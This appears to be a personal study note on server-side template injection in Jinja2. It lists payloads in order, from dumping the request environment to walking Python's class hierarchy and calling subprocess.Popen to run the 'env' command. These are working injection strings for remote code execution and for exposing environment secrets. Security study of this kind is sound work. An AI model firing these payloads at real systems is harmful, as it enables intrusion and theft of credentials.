14 lines
686 B
Markdown
14 lines
686 B
Markdown
- Flowchart to fingerprint underlying templating engine through successive payloads
|
|
![[Pasted image 20230906000448.png|center]]
|
|
|
|
- Jinja2
|
|
- Get information about Python environment
|
|
- `{{request.environ}}`
|
|
- Regress to base `object` class
|
|
- `{{request.__class__.__base__.__base__}}`
|
|
- List all loaded top classes
|
|
1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
|
|
2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
|
|
3. Determine their count for the following
|
|
- Call `subprocess.Popen` to execute commands ("env" in this case)
|
|
- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}` |